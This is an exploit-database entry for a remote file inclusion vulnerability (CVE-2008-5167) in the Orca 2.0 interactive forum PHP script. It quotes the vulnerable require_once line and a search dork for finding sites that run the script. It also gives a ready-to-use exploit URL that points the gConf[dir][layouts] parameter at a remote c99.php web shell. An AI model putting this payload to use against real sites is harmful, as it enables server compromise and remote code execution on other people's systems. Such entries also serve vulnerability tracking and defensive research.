Orca 2.0/2.0.2 - 'params.php?gConf[dir][layouts]' Remote File Inclusion

Author: Ciph3r
type: webapps
platform: php
port: 
date_added: 2008-06-25 
date_updated: 2016-12-14 
verified: 1 
codes: OSVDB-46525;CVE-2008-5167 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comOrca-2.0.zip

#####################################################################
#
# Orca - Interactive Forum Script Remote File Inclusion Vulnerability
#
#####################################################################
#
# Discovered by : Ciph3r
#
#
# MAIL : Ciph3r_blackhat@yahoo.com
#
#
# SP tanx4: Iranian hacker & Kurdish security TEAM
#
# sp TANX2: milw0rm.com & google.com & sourceforge.net
#
# CMS download : http://sourceforge.net/project/platformdownload.php?group_id=183624
#
# class : remote
#
# risk : high
#
# Dork : "Powered by Orca Interactive Forum Script"
#
#######################################################################
#
# C0de :
#
#
#    require_once ($gConf['dir']['layouts'] . 'base/params.php');
#
#
#######################################################################

 EXPLOIT :



 http://127.0.0.1/cms/Orca-2.0.beta2/layout/default/params.php?gConf[dir][layouts]=http://127.0.0.1/c99.php?


#######################################################################

# milw0rm.com [2008-06-26]